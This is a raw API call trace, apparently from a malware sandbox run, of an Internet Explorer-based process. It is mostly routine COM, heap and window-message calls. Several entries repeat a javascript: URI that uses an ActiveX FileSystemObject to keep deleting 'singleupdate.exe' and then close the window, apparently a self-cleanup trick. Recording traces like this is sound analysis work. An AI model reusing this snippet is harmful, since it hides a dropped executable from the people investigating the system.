(in: This=0xfea1d8, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0xcfd8cc | out: ppvObject=0xcfd8cc*=0x0) returned 0x80004002 [0241.472] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7410a8c4*(Data1=0xf3d8f080, Data2=0xa5eb, Data3=0x476f, Data4=([0]=0x9d, [1]=0x19, [2]=0xa5, [3]=0xef, [4]=0x24, [5]=0xe5, [6]=0xc2, [7]=0xe6)), ppvObject=0xcfd8cc | out: ppvObject=0xcfd8cc*=0x0) returned 0x80004002 [0241.472] GetCurrentThreadId () returned 0xe0 [0241.472] GetCurrentThreadId () returned 0xe0 [0241.472] GetCurrentThreadId () returned 0xe0 [0241.472] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x200c) returned 0x10233a0 [0241.473] IInternetProtocol:Read (in: This=0x4c6c0cc, pv=0x10233ae, cb=0x1ffe, pcbRead=0xcff484 | out: pv=0x10233ae, pcbRead=0xcff484*=0x0) returned 0x1 [0241.473] IInternetProtocol:Read (in: This=0x4c6c0cc, pv=0x10233ae, cb=0x1ffe, pcbRead=0xcff484 | out: pv=0x10233ae, pcbRead=0xcff484*=0x0) returned 0x1 [0241.474] GetCurrentThreadId () returned 0xe0 [0241.474] GetCurrentThreadId () returned 0xe0 [0241.474] GetCurrentThreadId () returned 0xe0 [0241.474] GetCurrentThreadId () returned 0xe0 [0241.474] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0xcff294 | out: lpCPInfo=0xcff294) returned 1 [0241.474] IUnknown:AddRef (This=0xfd20f8) returned 0x4 [0241.474] IUnknown:AddRef (This=0xfd63dc) returned 0x12 [0241.474] IUnknown:QueryInterface (in: This=0xfd63dc, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff25c | out: ppvObject=0xcff25c*=0xfd63dc) returned 0x0 [0241.474] IUnknown:Release (This=0xfd63dc) returned 0x12 [0241.474] IUnknown:AddRef (This=0xfd63dc) returned 0x13 [0241.475] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff2ac | out: pdwScheme=0xcff2ac*=0xf) returned 0x0 [0241.475] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff28c | out: pdwScheme=0xcff28c*=0xf) returned 0x0 [0241.475] IUnknown:Release (This=0xfd20f8) returned 0x3 [0241.475] CompareStringW (Locale=0x409, dwCmpFlags=0x30001, lpString1="text/html", cchCount1=7, lpString2="charset", cchCount2=7) returned 3 [0241.475] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4f0 [0241.475] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f4 [0241.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x4c183c0, dwCreationFlags=0x0, lpThreadId=0x4c183d4 | out: lpThreadId=0x4c183d4*=0xea8) returned 0x4f8 [0241.475] GetCurrentThreadId () returned 0xe0 [0241.475] SetEvent (hEvent=0x4f0) returned 1 [0241.475] GetCurrentThreadId () returned 0xe0 [0241.476] IUnknown:AddRef (This=0xfd63dc) returned 0x14 [0241.476] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff5bc | out: pdwScheme=0xcff5bc*=0xf) returned 0x0 [0241.476] IUnknown:Release (This=0xfd63dc) returned 0x13 [0241.476] IBindStatusCallback:OnStopBinding (This=0xfe8ca0, hresult=0x0, szError=0x0) returned 0x0 [0241.476] IUri:GetScheme (in: This=0xfd63dc, pdwScheme=0xcff618 | out: pdwScheme=0xcff618*=0xf) returned 0x0 [0241.476] GetCurrentThreadId () returned 0xe0 [0241.476] GetCurrentThreadId () returned 0xe0 [0241.476] GetCurrentThreadId () returned 0xe0 [0241.476] CoTaskMemFree (pv=0x0) [0241.476] IUnknown:Release (This=0xfea1d8) returned 0x5 [0241.476] ReleaseBindInfo (pbindinfo=0x4c6c0f0) [0241.476] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.476] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.476] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.476] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0241.476] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0241.477] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.477] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.477] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.477] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 1 [0241.477] PeekMessageW (in: lpMsg=0xcff8ac, hWnd=0x60044, wMsgFilterMin=0x401, wMsgFilterMax=0x401, wRemoveMsg=0x3 | out: lpMsg=0xcff8ac) returned 0 [0241.478] QueryPerformanceCounter (in: lpPerformanceCount=0xcff86c | out: lpPerformanceCount=0xcff86c*=24478101386) returned 1 [0241.478] GetTickCount () returned 0x3bc0e [0241.478] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.479] GetCurrentThreadId () returned 0xe0 [0241.479] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2003, uElapse=0xa, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2003 [0241.479] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.479] GetCurrentThreadId () returned 0xe0 [0241.479] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2004, uElapse=0x12c, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2004 [0241.479] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0241.479] GetCurrentThreadId () returned 0xe0 [0241.479] GetTickCount64 () returned 0x3bc0e [0241.479] RedrawWindow (hWnd=0x3020e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x2) returned 1 [0241.479] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x401, wParam=0xda64afc, lParam=0x3d09) returned 0x0 [0241.479] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.479] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.479] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.479] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.479] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.479] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.480] QueryPerformanceCounter (in: lpPerformanceCount=0xcff770 | out: lpPerformanceCount=0xcff770*=24478216855) returned 1 [0241.480] SetEvent (hEvent=0x374) returned 1 [0241.480] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=24478278368) returned 1 [0241.480] GetCurrentThreadId () returned 0xe0 [0241.480] GetCurrentThreadId () returned 0xe0 [0241.480] GetCurrentThreadId () returned 0xe0 [0241.480] CreateUri (in: pwzURI="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwFlags=0x3002b85, dwReserved=0x0, ppURI=0xcfe120 | out: ppURI=0xcfe120*=0xfd1b94) returned 0x0 [0241.481] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcfe0f0 | out: ppvObject=0xcfe0f0*=0xfd1b94) returned 0x0 [0241.481] IUnknown:Release (This=0xfd1b94) returned 0x8 [0241.481] IUnknown:AddRef (This=0xfd1b94) returned 0x9 [0241.481] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x124) returned 0xfe6ca8 [0241.481] IUnknown:Release (This=0xfd1b94) returned 0x8 [0241.481] IUnknown:Release (This=0xfd1b94) returned 0x7 [0241.481] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x100) returned 0x1021bb0 [0241.481] FindResourceExW (hModule=0x726c0000, lpType=0x6, lpName=0x1fe, wLanguage=0x0) returned 0x6574088 [0241.481] LoadResource (hModule=0x726c0000, hResInfo=0x6574088) returned 0x657a4a4 [0241.481] LockResource (hResData=0x657a4a4) returned 0x657a4a4 [0241.481] VirtualQuery (in: lpAddress=0x657a4a4, lpBuffer=0xcff2dc, dwLength=0x1c | out: lpBuffer=0xcff2dc*(BaseAddress=0x657a000, AllocationBase=0x61c0000, AllocationProtect=0x2, RegionSize=0x46000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0241.481] SizeofResource (hModule=0x726c0000, hResInfo=0x6574088) returned 0x1be [0241.482] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x200) returned 0x10253b8 [0241.482] memcpy_s (in: _Destination=0x10253b8, _DestinationSize=0x200, _Source=0x1021bb0, _SourceSize=0x100 | out: _Destination=0x10253b8) returned 0x0 [0241.482] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1021bb0 | out: hHeap=0xfb0000) returned 1 [0241.482] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe6ca8 | out: hHeap=0xfb0000) returned 1 [0241.482] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0x10253b8, Size=0x142) returned 0x10253b8 [0241.482] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x146) returned 0x1021bb0 [0241.482] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.482] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.482] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.482] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.604] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.604] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.604] KillTimer (hWnd=0x3020e, uIDEvent=0x2003) returned 1 [0241.604] GetTickCount () returned 0x3bc8b [0241.604] PostMessageW (hWnd=0x3020e, Msg=0x113, wParam=0x2000, lParam=0x0) returned 1 [0241.604] GetTickCount64 () returned 0x3bc8b [0241.604] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6f4 | out: lpPerformanceCount=0xcff6f4*=24490676077) returned 1 [0241.604] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=24490689016) returned 1 [0241.604] GetCurrentThreadId () returned 0xe0 [0241.604] GetCurrentThreadId () returned 0xe0 [0241.604] GetCurrentThreadId () returned 0xe0 [0241.605] GetFocus () returned 0x8002e [0241.605] GetCursorPos (in: lpPoint=0xcff65c | out: lpPoint=0xcff65c*(x=266, y=52)) returned 1 [0241.605] WindowFromPoint (Point=0x10a) returned 0x100f8 [0241.605] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6c8 | out: lpPerformanceCount=0xcff6c8*=24490766585) returned 1 [0241.605] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6e8 | out: lpPerformanceCount=0xcff6e8*=24490771730) returned 1 [0241.605] GetTickCount () returned 0x3bc8b [0241.605] GetTickCount64 () returned 0x3bc8b [0241.605] GetTickCount64 () returned 0x3bc8b [0241.605] GetMessageW (in: lpMsg=0xcffa94, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xcffa94) returned 1 [0241.605] TranslateMessage (lpMsg=0xcffa94) returned 0 [0241.605] DispatchMessageW (lpMsg=0xcffa94) returned 0x0 [0241.606] RevokeBindStatusCallback (pBC=0xfe6478, pBSCb=0xfe8ca0) returned 0x0 [0241.606] IUnknown:Release (This=0xfe8c60) returned 0x3 [0241.606] IUnknown:Release (This=0xfe8ca0) returned 0x2 [0241.606] IUnknown:AddRef (This=0xfe6478) returned 0x3 [0241.606] IUnknown:Release (This=0xfe6478) returned 0x2 [0241.606] CoTaskMemFree (pv=0xfe7530) [0241.606] IUnknown:Release (This=0xfe6478) returned 0x1 [0241.606] IInternetProtocol:UnlockRequest (This=0x4c6c0cc) returned 0x0 [0241.606] IUnknown:Release (This=0x4c6c0cc) returned 0x1 [0241.606] IUnknown:Release (This=0xfea1d8) returned 0x1 [0241.606] IUnknown:Release (This=0x4c6c0b0) returned 0x0 [0241.606] GetProcessHeap () returned 0xfb0000 [0241.606] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10040d0 | out: hHeap=0xfb0000) returned 1 [0241.606] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe7050 | out: hHeap=0xfb0000) returned 1 [0241.607] GetCurrentThreadId () returned 0xe0 [0241.608] SetEvent (hEvent=0x4f0) returned 1 [0241.608] GetTickCount () returned 0x3bc8b [0241.608] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0241.608] IUnknown:AddRef (This=0xfd1b94) returned 0x8 [0241.608] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0241.608] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff5b8, dwFlags=0x0 | out: pdwZone=0xcff5b8*=0xffffffff) returned 0x800c0011 [0241.608] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0241.608] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0241.608] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd1b94, dwAction=0x1400, pPolicy=0xcff5bc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0xcff59c | out: pPolicy=0xcff5bc*=0x0, pdwOutFlags=0xcff59c*=0x0) returned 0x0 [0241.608] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwAction=0x1400, pPolicy=0xcff5bc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0xcff5bc*=0x0) returned 0x0 [0241.608] IUnknown:Release (This=0xfd0030) returned 0x1 [0241.608] IUnknown:Release (This=0xfd1b94) returned 0x7 [0241.608] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcff60c | out: ppu=0xcff60c) returned 0x0 [0241.639] SetTimer (hWnd=0x8002e, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008 [0241.640] RedrawWindow (hWnd=0x8002e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1 [0241.640] QueryPerformanceCounter (in: lpPerformanceCount=0xcff220 | out: lpPerformanceCount=0xcff220*=24494259070) returned 1 [0241.640] QueryPerformanceCounter (in: lpPerformanceCount=0xcff1f8 | out: lpPerformanceCount=0xcff1f8*=24494265738) returned 1 [0241.640] QueryPerformanceCounter (in: lpPerformanceCount=0xcff174 | out: lpPerformanceCount=0xcff174*=24494275321) returned 1 [0241.640] QueryPerformanceCounter (in: lpPerformanceCount=0xcff168 | out: lpPerformanceCount=0xcff168*=24494281795) returned 1 [0241.640] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.640] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] _ltow_s (in: _Value=3, _Buffer=0xcfe140, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0241.641] GetTickCount () returned 0x3bcaa [0241.642] GetVersionExW (in: lpVersionInformation=0xcfef98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7220cadf, dwMinorVersion=0xcff09c, dwBuildNumber=0xcff024, dwPlatformId=0x7220cafa, szCSDVersion="\x03") | out: lpVersionInformation=0xcfef98*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0241.642] GetKeyboardLayoutList (in: nBuff=32, lpList=0xcff0bc | out: lpList=0xcff0bc) returned 1 [0241.642] WTSGetActiveConsoleSessionId () returned 0x1 [0241.642] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc0b6 [0241.642] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc07a [0241.642] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc07d [0241.642] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc0b1 [0241.642] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc0b2 [0241.642] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc076 [0241.642] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc0ae [0241.642] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0bb [0241.642] RegisterClipboardFormatA (lpszFormat="image/svg+xml") returned 0xc12d [0241.642] RegisterClipboardFormatA (lpszFormat="msSourceUrl") returned 0xc12e [0241.642] memcpy_s (in: _Destination=0xfddc22, _DestinationSize=0x1ffe, _Source=0xcfeef4, _SourceSize=0xc | out: _Destination=0xfddc22) returned 0x0 [0241.642] memcpy_s (in: _Destination=0xfddc2e, _DestinationSize=0x1ff2, _Source=0x1003fa4, _SourceSize=0x2 | out: _Destination=0xfddc2e) returned 0x0 [0241.642] GetTickCount () returned 0x3bcaa [0241.642] memcpy_s (in: _Destination=0xfddc30, _DestinationSize=0x1ff0, _Source=0xcff488, _SourceSize=0x4 | out: _Destination=0xfddc30) returned 0x0 [0241.643] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0241.643] IUnknown:AddRef (This=0xfd1b94) returned 0x8 [0241.643] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0241.643] IInternetSecurityManager:MapUrlToZone (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pdwZone=0xcff3e8, dwFlags=0x0 | out: pdwZone=0xcff3e8*=0xffffffff) returned 0x800c0011 [0241.643] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0241.643] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0241.643] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd1b94, dwAction=0x2106, pPolicy=0xcff3ec, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0xcff3cc | out: pPolicy=0xcff3ec*=0x0, pdwOutFlags=0xcff3cc*=0x0) returned 0x0 [0241.643] IInternetSecurityManager:ProcessUrlAction (in: This=0x7387f4d4, pwszUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", dwAction=0x2106, pPolicy=0xcff3ec, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0xcff3ec*=0x0) returned 0x0 [0241.643] IUnknown:Release (This=0xfd0030) returned 0x1 [0241.643] IUnknown:Release (This=0xfd1b94) returned 0x7 [0241.644] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0xfddc20, Size=0x16) returned 0xfddc20 [0241.644] GetTickCount () returned 0x3bcaa [0241.644] IUnknown:Release (This=0xfd20f8) returned 0x2 [0241.644] IUnknown:Release (This=0xfd63dc) returned 0xc [0241.644] IUnknown:Release (This=0xfd63dc) returned 0xb [0241.644] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1027e50 | out: hHeap=0xfb0000) returned 1 [0241.644] IUnknown:Release (This=0xfd63dc) returned 0xa [0241.644] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x100f498 | out: hHeap=0xfb0000) returned 1 [0241.644] IUnknown:Release (This=0xfd63dc) returned 0x9 [0241.645] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10233a0 | out: hHeap=0xfb0000) returned 1 [0241.645] IUnknown:Release (This=0xfd1b94) returned 0x6 [0241.645] IUnknown:Release (This=0xfd63dc) returned 0x8 [0241.647] IUnknown:Release (This=0xfd63dc) returned 0x7 [0241.647] IUnknown:Release (This=0xfd1b94) returned 0x5 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x100f278 | out: hHeap=0xfb0000) returned 1 [0241.647] IUnknown:Release (This=0xfd0730) returned 0x0 [0241.647] IUnknown:Release (This=0xfe7fec) returned 0x1 [0241.647] IUnknown:Release (This=0xfe7ff0) returned 0x0 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe7fe8 | out: hHeap=0xfb0000) returned 1 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe8c20 | out: hHeap=0xfb0000) returned 1 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe51d0 | out: hHeap=0xfb0000) returned 1 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe77a0 | out: hHeap=0xfb0000) returned 1 [0241.647] GetCurrentThreadId () returned 0xe0 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1028e60 | out: hHeap=0xfb0000) returned 1 [0241.647] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1003fa0 | out: hHeap=0xfb0000) returned 1 [0241.647] QueryPerformanceCounter (in: lpPerformanceCount=0xcff770 | out: lpPerformanceCount=0xcff770*=24495012155) returned 1 [0241.648] SetEvent (hEvent=0x374) returned 1 [0241.648] StrCmpICW (pszStr1="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pszStr2="about:blank") returned 9 [0241.648] ParseURLW (in: pcszURL="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ppu=0xcff548 | out: ppu=0xcff548) returned 0x0 [0241.648] IUnknown:AddRef (This=0xfd1b94) returned 0x6 [0241.648] IUri:GetAbsoluteUri (in: This=0xfd1b94, pbstrAbsoluteUri=0xcff5e0 | out: pbstrAbsoluteUri=0xcff5e0*="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);") returned 0x0 [0241.648] IUnknown:Release (This=0xfd1b94) returned 0x5 [0241.649] GetCurrentThreadId () returned 0xe0 [0241.649] ShouldShowIntranetWarningSecband () returned 0x0 [0241.729] GetIUriPriv () returned 0x0 [0241.729] IUnknown:Release (This=0xfd1b94) returned 0x5 [0241.729] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff468 | out: ppvObject=0xcff468*=0xfd1b94) returned 0x0 [0241.730] IUnknown:Release (This=0xfd1b94) returned 0x5 [0241.730] IUnknown:AddRef (This=0xfd1b94) returned 0x6 [0241.730] IUnknown:QueryInterface (in: This=0xfd1b94, riid=0x72880c04*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0xcff468 | out: ppvObject=0xcff468*=0xfd1b94) returned 0x0 [0241.730] IUnknown:Release (This=0xfd1b94) returned 0x6 [0241.730] IUnknown:AddRef (This=0xfd1b94) returned 0x7 [0241.730] IUnknown:Release (This=0xfd1b94) returned 0x6 [0241.730] IUnknown:Release (This=0xfd1b94) returned 0x5 [0241.730] QueryPerformanceCounter (in: lpPerformanceCount=0xcff528 | out: lpPerformanceCount=0xcff528*=24503284392) returned 1 [0241.730] GetCurrentThreadId () returned 0xe0 [0241.730] GetCursorPos (in: lpPoint=0xcff3a0 | out: lpPoint=0xcff3a0*(x=266, y=52)) returned 1 [0241.730] ScreenToClient (in: hWnd=0x8002e, lpPoint=0xcff3a0 | out: lpPoint=0xcff3a0) returned 1 [0241.730] memcpy_s (in: _Destination=0xcfe6a0, _DestinationSize=0xc28, _Source=0x738821b0, _SourceSize=0xc28 | out: _Destination=0xcfe6a0) returned 0x0 [0241.731] GetKeyState (nVirtKey=16) returned 0 [0241.731] GetKeyState (nVirtKey=17) returned 0 [0241.731] GetKeyState (nVirtKey=18) returned 0 [0241.731] GetKeyState (nVirtKey=160) returned 0 [0241.731] GetKeyState (nVirtKey=162) returned 0 [0241.731] GetKeyState (nVirtKey=164) returned 0 [0241.731] memcpy_s (in: _Destination=0x4c0a320, _DestinationSize=0x10, _Source=0xcff210, _SourceSize=0x10 | out: _Destination=0x4c0a320) returned 0x0 [0241.731] GetCurrentThreadId () returned 0xe0 [0241.731] GetCurrentThreadId () returned 0xe0 [0241.731] GetCurrentThreadId () returned 0xe0 [0241.732] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: 